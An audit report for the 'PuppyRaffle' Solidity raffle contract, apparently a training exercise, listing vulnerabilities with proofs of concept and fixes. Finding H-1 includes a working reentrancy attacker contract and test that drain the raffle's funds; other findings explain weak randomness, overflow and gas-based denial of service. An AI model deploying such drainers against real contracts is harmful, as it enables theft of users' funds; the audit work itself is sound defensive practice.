PuppyRaffle Audit Report

Version 1.0

updraft.cyfrin.io

September 5, 2025

PuppyRaffle Audit Report

ykgneh

September 05, 2025

Prepared by: ykgneh Lead Auditors:

- ykgneh

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Yykgneh team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
src/
---PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

this is fun

Issues found

severity	number of findings
high	3
medium	3
low	1
info	9
total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle:refund` function, attacker can withdraw all the funds on this contract

Description: `PuppyRaffle:refund` function does not follow CEI. Enabling attackers to drain all the funds.

In the `PuppyRaffle:refund` function we first make an external call to the `msg.sender` address, after that call then we update `players` array

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);

@>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A players that has entered the raffle could have a `receive`/`fallback` function that calls the refund function again and again. They could continue to cycle until the the contract balance is drained.

Impact: All entrance fee that are paid by participants could be stolen by the malicious participant.

Proof of Concept:

1. Some players entered the raffle
2. Attackers set up a contract with a `receive`/`fallback` function that calls the `PuppyRaffle:Refund`
3. Attackers then enter the raffle
4. Attackers then deliberately call `PuppyRaffle:Refund` from their contract, draining all the money.

Code

Add the following code to the `PuppyRaffleTest.t.sol`

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }
    function attack() external payable {
        address[] memory attacker = new address[](1);
        attacker[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(attacker);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }
    function stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
        }
    fallback() external payable {
        stealMoney();
    }
    receive() external payable {
        stealMoney();
    }
}
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            reentrancyAttack).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;
        assert(startingContractBalance == 4 ether);
        assert(startingAttackContractBalance == 0 ether);
        vm.prank(attackUser);
        reentrancyAttack.attack{value: entranceFee}();

        uint256 endingAttackContractBalance = address(reentrancyAttack)
            .balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;
        assert(endingContractBalance == 0);
        assert(endingAttackContractBalance >
            startingAttackContractBalance);
    }
```

Recommended Mitigation:

We should have the `PuppyRaffle::Refund` function update the `players` array before the external call. Additionally we should also move the event emmision up.

```

function refund(uint256 playerIndex) public {
```

```
            //@audit: MEV
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+           players[playerIndex] = address(0);
+           emit RaffleRefunded(playerAddress);

            payable(msg.sender).sendValue(entranceFee);

-            players[playerIndex] = address(0);
-            emit RaffleRefunded(playerAddress);
        }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allowing user or participants to predict or influence the winner and predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!

3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

   Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflows in `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle:selectWinner`, `total fees` are accumulated for the `fee address` to collect later in `withdrawFees`. However if the `total fees` exceeds the maximum number of `uint64` (overflows), The `feeAddress` won't be able to collect the correct amount og fees. Resulting in some fees permanently stuck inside the contract.

Proof of Concept: 1.we conclude a raffle with 4 players (4 ether x 20) / 100 = 0.8 ether (8e17) 2.conlude another raffle with 89 players (89 ether x 20) / 100 = 17.8 ether (178e19) 3.`totalFees` will be

```
totalFees = totalFees + uint64(fee);
//
totalFees = 800000000000000000 + 17800000000000000000;
//
totalFees = 153255926290448384;
// 800000000000000000 + 17800000000000000000 > 18446744073709551615
```

add this test to your `PuppyRaffleTest.t.sol` file

code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        uint256 numOfPlayers = 89;
        address[] memory players = new address[](numOfPlayers);

        for (uint256 i = 0; i< numOfPlayers; i++) {
            players[i] = address(i);
            vm.deal(address(i), entranceFee);
        }
        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(
           players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
           require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: 1.use a `uint256` instad of `uint64` 2.use newer version of solidity

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle:enterRaffle` is a potential DoS attack, incrementing gas cost for future players

Description: The function loops through an array to check for duplicates in `PuppyRaffle:enterRaffle`. However the longer the array is the more checks a new player will have to make. This means the gas cost will increase with the number of player entering the raffle. Every new `player` entering the raffle will check through the whole array.

Impact: The gas cost will rise as more players entering the raffle. the attackers might make the array so big that no one could enter the raffle, guaranteeing themselves to win

Proof of Concept: if we have 2 sets of 100 players : 1st 100 players: ~6503272 gas 2nd 100 players: ~18995512 gas

this is almost 3x expensive for the second 100 players

add this to the test file :

poc:

code

```
    function test_denialOfService() public {
        uint256 numPlayers = 100;
        address[] memory playersOne = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            playersOne[i] = address(uint160(i));
        }
        uint256 gasStartFirst = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
           playersOne);

        uint256 gasEndFirst = gasleft();

        uint256 gasUsedFirst = gasStartFirst- gasEndFirst;

        address[] memory playersTwo = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            playersTwo[i] = address(uint160(i + numPlayers));
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = gasStartSecond - gasEndSecond;
        console.log("gas used second", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);
    }
```

run the test :

```
forge test --mt test_denial -vvv
```

the gas used almost triples

```
Logs:
  gas used 6503272
  gas used second 18995512
```

Recommended Mitigation: 1.Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2.Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

code

```
    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
        }

-          // Check for duplicates
+         // Check for duplicates only from the new players
+         for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate        player");
+         }
-          for (uint256 i = 0; i < players.length; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
-                  require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-              }
-          }
          emit RaffleEnter(newPlayers);
      }
.
.
.
      function selectWinner() external {
+         raffleId = raffleId + 1;
          require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
      }
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
      function selectWinner() external {
          require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
          require(players.length > 0, "PuppyRaffle: No players in raffle");

          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
          address winner = players[winnerIndex];
          uint256 fee = totalFees / 10;
          uint256 winnings = address(this).balance - fee;
@>        totalFees = totalFees + uint64(fee);
          players = new address[](0);
          emit RaffleWinner(winner, winnings);
      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

   Recommended Mitigation: There are a few options to mitigate this issue.

4. Do not allow smart contract wallet entrants (not recommended)
5. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. Pull over push, winners claim the prize themselves (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players. Causing a player at index 0 to think they did not participate in the raffle

Description: If a player is at index 0 and calls the function PuppyRaffle::getActivePlayerIndex, it will return 0. However, according to the NatSpec, 0 is supposed to indicate that the caller is not an active player.

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        //@audit: some players at index 0 are going to think that they
           are no longer active
        return 0;
    }
```

Impact: Player at index 0 may incorrectly think they have not entered the raffle and attemp to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active

Informational/gas

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

  `solidity pragma solidity ^0.7.6;`

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

0.8.18

The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 173

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle` contract does not follow CEI which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
  \_safeMint(winner, tokenId);

* (bool success,) = winner.call{value: prizePool}("");
* require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much
     more readable if the numbers are given a name.

Examples:

```javascript
  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
  uint256 public constant FEE_PERCENTAGE = 20;
  uint256 public constant POOL_PRECISION = 100;

```

```
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
    POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `PuppyRaffle::isActivePlayer` is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-     function _isActivePlayer() internal view returns (bool) {
-         for (uint256 i = 0; i < players.length; i++) {
-             if (players[i] == msg.sender) {
-                 return true;
-             }
-         }
-         return false;
-     }
```

[G-1] Unchanged state variables should be declared as a constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
       require(players[i] != players[j], "PuppyRaffle: Duplicate player"
          );
}
```